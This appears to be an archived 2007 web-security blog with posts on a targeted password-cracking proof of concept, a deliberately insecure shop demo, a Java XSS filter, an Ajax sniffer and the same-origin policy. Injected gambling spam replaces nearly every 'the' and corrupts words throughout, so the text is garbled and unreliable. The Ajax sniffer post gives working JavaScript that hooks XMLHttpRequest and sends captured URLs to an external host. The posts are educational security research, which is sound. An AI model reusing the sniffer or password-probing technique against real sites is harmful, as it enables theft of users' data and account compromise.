There are many improvements that can be done to this program. This is just a proof of concept and I was too lazy to do too much. If you get a chance to improve upon this, please do let me know. I also have some ideas and maybe we can discuss about it.

Download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 complete source code or view cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 working demo at Attack Labs

Targeted password cracking - Proof of concept

This is a proof of concept to exploit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration functionality of a website to build targeted password cracking engine. I am using Ajax to automatically detect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameters which are submitted for a successful password and automatically resubmitting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 modified passwords. Of course ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r technologies can be used for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same.



I think I can safely assume that by now we all understand cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 need of a strong password handling mechanism, which starts from a strong password policy. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password policy we define cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rules for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password selected by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user to login to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir account. The idea is to make cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m stronger so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are not easily guessed and more importantly, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password cracking tools cannot break cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m easily. Some websites have stricter password policy as compared to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs but more often cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n not, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 website owners also care about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 customers as stronger passwords are difficult to remember. The stronger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password is, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chances are that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user might forget it especially if it is not something you use every day. Many companies also define cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password policy keeping in mind many criteria, in which two of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main criteria are:

1. From cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 support perspective, password reset call volume might increase. (Not everyone has a online password reset functionality)
2. Inconvenience to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user.

There could be more depending on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 company but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se two are often brought up by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product team.

With cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 increase in SQL injection attack and XSS attack, many security professionals implement character filtering on anything that comes from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client. It could be blacklist character filtering (do not allow potentially harmful characters) or whitelist character filtering (only allow valid characters) depending on how a security professional or architect wants to approach it. For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sake of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 argument let’s say cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 architects apply cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se filters globally which means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se filters are implemented for passwords as well, furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r restricting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 character set for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password selection. This is where we have to be extremely careful. If an application, filters characters for password fields as well on top of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security policy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you are limiting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 character set for passwords and this could be reverse engineered to make intelligent password cracking tools.

Let’s take a look at how it can be done and what we can do to protect from it. To start with, we need to find out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following:

1. The minimum number of characters that are allowed for a password field?
2. Should it start or end with a capital letter?
3. The minimum number of capital letters required?
4. The minimum number of digits required?
5. Should it start or end with a digit?
6. What characters are not allowed (for example “<,>,#,&,\” etc)?

If we can find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 answers to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 above mentioned question cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we can fine tune cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password cracking tool to follow those rules as a result cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of permutations and combinations required will be less.


If we start by successfully registering a password on a website and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n reverse engineer it to find what is allowed and what is not allowed. For example, let’s say we can successfully register with a password which contains 8 characters and starts with a capital letter and ends with a numeric (Say “Abcdefg1”) and rest all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters are lower case alphabets. Assuming cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration is successful, we’ll start working backwards and find out what characters are filtered and what characters are required in what sequence.

1. Remove one character from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 middle of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password keeping cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first character (Capital letter) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last character (Digit) intact. Use this password to register and keep reducing by one character from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 middle until you get error.

2. Register with a password with one character removed from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 middle of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original password, keeping cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first character (Capital letter) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last character (Digit) intact. Keep reducing by one character but keep cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 capital letter and number until it gives error. This way we can determine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 minimum length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application. For example, “Abcdef1”, “Abcde1”, “Abcd1”, etc

3. Move cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 capital letter from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning to some ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password keeping cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number and minimum number of characters allowed and see if it gives error. This will tell you if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password requires you to start with a capital letter or you can have it anywhere within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password. For example, “aBcdefg1”.

4. Select a password with minimum number of characters allowed and no capital letter and one numeric. If it doesn’t give any error that means capital numbers are not allowed. For example, “abcdefg1”

5. Select a password with no numeric character with one capital letter into it. If it doesn’t give any error cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n numeric is optional.

6. Replace a non numeric and non capital letter of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password with a character from a list of ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r characters (for example, %, ~, !, @, #, $, %, ^, &, *, <, > and so on). Replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 character one at a time and check if you get any error. If you get an error that means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 character is not allowed.

By performing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 above mentioned steps you can find out what characters are not allowed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application and hence you can remove those characters in your password cracking tool and furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rule for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters allowed in certain order.

Now, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application is filtering for blacklisted characters in password as well, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 list of characters not allowed will grow and will be favourable for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password cracking tool. By any chance if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application is doing whitelist filtering for passwords as well, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters actually allowed for passwords would be very limited and hence make it extremely easy for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password cracking tools.

The password is selected when a user is trying to register to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 site. We don’t usually lockout cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration page after any number of unsuccessful attempts as we believe cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user is trying to find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct password combination. Some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 websites on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir registration pages have captcha to ensure protection from bots but not many sites have that.

We can take certain steps to prevent us from this type of attack
Registration page

1. Implement a captcha. (though this is a tough one as it is a great inconvenience to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user but it does protects from automated attacks)

2. If we don’t filter cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a possibility of SQL injection attack. For that, we can hash cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password before inserting into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SQL to store in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 database (That is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 general trend cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se days anyway) but we should be selective about what we filter and what we do not filter.

3. Put a delay of few seconds in every subsequent attempt. This is not a full proof solution but it definitely slow down cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 automated attacks.

4. Encourage cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user to select stronger passwords by displaying how weak cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir password is on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration page even though it is not enforced by a password policy.

Password page

1. Implement password lockouts. Reset cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password after lockouts. The new password should not be same as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last password (at least)

2. Be selective about what you filter for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 passwords.

3. Put a delay of few seconds in every subsequent attempt.

You can see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo and download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code from Attack Labs


Explanation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code can be viewed here

Sunday, January 28, 2007

Sample Shopcart application

In my experience i have seen a lot of developers being clueless about what application security is and how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y unknowingly left a door open for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bad guys in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir application. They don't have much idea about how application are open to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se vulnerabililties (like XSS, SQL injection, session hijacking, etc), how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are exploited and what changes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y need to make in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir coding style to minimize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se vulnerabilities in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir application.

Shopcart application is a sample application which is developed to educate developers to understand how an application can be exploited and what kind of damage cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can do.

This application does not have any security mechanism in it. The idea is for developers to learn how and what can be exploited if a security mechanism is not in place. Soon I will put togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r an application with proper security controls for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 comparison.

The application can be accessed at http://www.attacklabs.com/shopcart/

Happy learning.

Tuesday, January 23, 2007

XSS filter to protect from XSS attacks

Here are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 excerpts from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chilling effect

Grossman, who founded his own research company, WhiteHat, claims XSS vulnerabilities can be found in 70 percent of websites. RSnake goes furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r. "I know Jeremiah says seven of 10. I'd say cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's only one in 30 I come across where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XSS isn't totally obvious. I don't know of a company I couldn't break into [using XSS]."
If you apply Grossman's number to a recent Netcraft survey, which estimated that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are close to 100 million websites, you've got 70 million sites with XSS vulnerabilities. Repairing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m one-off, two-off, 200,000-off is spitting in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 proverbial ocean. Even if you've disclosed, you've done very little to reduce cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overall risk of exploit. "Logistically, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's no way to disclose this stuff to all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interested parties," Grossman says. "I used to think it was my moral professional duty to report every vulnerability, but it would take up my whole day."


If we can put an XSS filter in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 framework (for example, as a servlet filter in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Java EE) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it would make it a lot easier for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 developers to not worry about all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 places where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are accepting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 input from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client browser. Instead cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can just do a request.getParameter() and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 servlet filter would do all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filtering for XSS characters with each and every request which comes in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 JSP pages or servlets.

I have created a xss filter which can be tested at http://www.attacklabs.com/xssfilter/. It filters only 8 characters but it protects from all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 possible attack strings mentioned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Rsnake’s cheat sheet. If you can find an xss attack which can bypass cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filter, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n please do submit it here or email it to me at anurag.agarwal@yahoo.com

Please bear in mind that this filter is not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 right choice if you want your users to input HTML tags or urls.

Source Code

import java.io.*;
import java.net.*;

import javax.servlet.*;
import javax.servlet.http.*;

/**
*
* @author anurag agarwal
* @version 1.0
*/
public class XSSFilter extends HttpServlet {
private String[] filterChars = {"<", ">", "<", ">", "&#", "\"", "\\", "0x"};
private String[] replacementChars = {" ", " ", " ", " ", "#", "'", "/", "0 x"};

protected void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();

String html = request.getParameter("html");
out.println("Here is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filtered output of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html you submitted.");

out.println(filterRequest(html));

out.close();
}

private String filterRequest(String param) {
String value = param;

if( param!=null) {

for(int i = 0; i < filterChars.length; i++) {
value = filterCharacters(filterChars[i], replacementChars[i], value);
}

}

return value;

}

private String filterCharacters(String originalChar, String newChar, String param)
{
StringBuffer sb = new StringBuffer(param);

for(int position = param.toLowerCase().indexOf(originalChar); position >= 0; ) {
sb.replace(position, position + originalChar.length(), newChar);
param = sb.toString();
position = param.toLowerCase().indexOf(originalChar);
}

return sb.toString();
}

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
}

Wednesday, January 17, 2007

Ajax Sniffer - Prrof of concept

NOTE - The original idea was discussed by Stefano Di Paola in his paper Subverting Ajax. I have simply created a working proof of concept of ajax based sniffer.

I have taken cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same files as I demonstrated in ajax worm PoC. You can see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo at http://www.attacklabs.com

Let’s take a look at how to create an ajax based sniffer.

In order to create a sniffer we need to do two things
1. Override cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 open and send function of XMLHttpRequest using javascript inheritance
2. Send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data to a program on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r domain

Override cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 open and send function of XMLHttpRequest using javascript inheritance

What is inheritance?


In object-oriented programming, inheritance is a way to form new classes (subclasses) using classes that have already been defined (super classes). The new classes, also known as inherited classes, take over attributes and behavior of pre-existing classes, which are referred to as base classes (or super classes). It is intended to help reuse of existing code with little or no modification. Many object-oriented programming languages permit a class or object to replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation of a behavior—that it has inherited. This process is usually called overriding. Anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r reason to use inheritance is to provide additional data or behavior features. This is often used when incorporating new features into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 super class is eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r not possible or not appropriate.

Javascript Prototype feature and inheritance

Although JavaScript is a scripting language, it supports object-oriented programming. There may be no classes or instances but it has objects, prototypes and implicit inheritance. To find out more about inheritance in Javascript you can look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 references section. The example below shows how to extend an object in javascript to add more function to it using prototype feature


//Define a class in javascript
function MainClass()
{
alert('this is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main class');
}

//Create an object
var newClass = new MainClass();

//Add a new function to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing class ‘MainClass’
MainClass.prototype.newFunction = function()
{
alert('this is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new function');
}

//Call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new function
newClass.newFunction();


As you can see, using prototype we can add new functions to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing class or override functionality of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing function.

Overriding open function of XMLHttpRequest

/*Create a new function called myOpen. Call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sniffing function from it and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n pass cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 control to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original open function of XMLHttpRequest object. */



var myOpen = function(method, url, async, user, password) {
send_to_attacker("url="+url);
this.originalOpen(method, url, async, user, password);
}

/*Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original open function of XMLHttpRequest object. */


XMLHttpRequest.prototype.originalOpen = XMLHttpRequest.prototype.open;


/*Assign cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newly created myOpen function to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original open function of XMLHttpRequest. Now whenever a call to open function is made, it will invoke myOpen function first and from within myOpen cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original open function is invoked to let XMLHttpRequest perform its function. */



XMLHttpRequest.prototype.open = myOpen;


Overriding send function of XMLHttpRequest

/* Create a new function called mySend. This function overrides cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original send function of XMLHttpRequest object and calls it towards cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end. */



var mySend = function(a) {
var xhr = this;

/* This function would get called when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 onload event is called. */


var onload = function() {
//alert(xhr.responseText);
};

/* This function is called if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is an error when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 onerror event is called. */


var onerror = function() {
alert(xhr.status);
};

/* Add cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 load and error events to this function. */


xhr.addEventListener("load", onload, false);
xhr.addEventListener("error", onerror, false);

/* Call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original send function. */

xhr.originalSend(a);
}

/* Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original function in anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r variable and call it from within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overriding function. */


XMLHttpRequest.prototype.originalSend = XMLHttpRequest.prototype.send;

/* Assign cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newly created mySend function to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original open function of XMLHttpRequest. Now whenever a call to send function is made, it will invoke mySend function first and from within mySend cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original send function is invoked to let XMLHttpRequest object perform its function. */



XMLHttpRequest.prototype.send = mySend;


/* Adding a new function to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XMLHttpRequest object. It can be called using ajax_request.newMethod(); */



XMLHttpRequest.prototype.newMethod = function() {
alert("New function added to XMLHttpRequest");
}


Send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data to a program on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r domain

This function sends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data to a servlet on an external domain. To read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 proof of concept of how to bypass same origin barrier of javascript read here and view cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo at http://www.attacklabs.com


function send_to_attacker(param_url)
{
var attack_script = "http://www.myappsecurity.com:8084/Mail_List/sniffer?" + param_url;

var script = document.createElement('script');
script.src = attack_script;
script.type = 'text/javascript';
document.body.appendChild(script);

//Remove cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script element after it has been executed as it is no longer required.
document.body.removeChild(script);
}


You can see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo at http://www.attacklabs.com

You can download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source code at http://www.attacklabs.com/download/sniffer.rar

Wednesday, January 10, 2007

Breaking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Same Origin barrier of Javascript

NOTE: I dont want javascript to be executed so in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sample code below, you will see that i will remove cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 <> tags from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script element.

Same Origin Policy of browsers

Often times we have heard that Javascript cannot send requests to anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r domain. That is because of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same origin policy implemented in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browsers. The same origin policy of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browsers prevents document or script loading from a different domain to manipulate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document loaded from current domain, without which javascript from a malicious domain could do any number of adverse things such as log keystrokes, steal cookies, modify your data, or even insert unwanted transactions while you do your online banking, etc. Hence, most of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current browsers implement cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same origin policy on nearly every properties and methods available to javascript. The only exception to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same origin policy is if you are working with documents loaded from any of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subdomains of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current domain. By setting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 domain property of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document, scripts residing on subdomain are allowed access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scripts on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main domain. For example, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script from test.domain.com could set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 domain property to “domain.com”. This way cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script passes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 origin checks when accessing windows loaded from “domain.com”. However, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scripts from “test.domain.com” could not set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 domain property to “anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rdomain.com”.

When a script tries to access properties or methods in a different window – for example, using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handle returned by window.open() – cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser performs a same origin check on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URLs of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document in question. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URLs of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document pass this check, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 property can be accessed, and if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y don’t cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n an error is thrown. The same origin check consists of verifying that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target window has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same origin as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document containing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 calling script.

External Javascript from Java Servlets

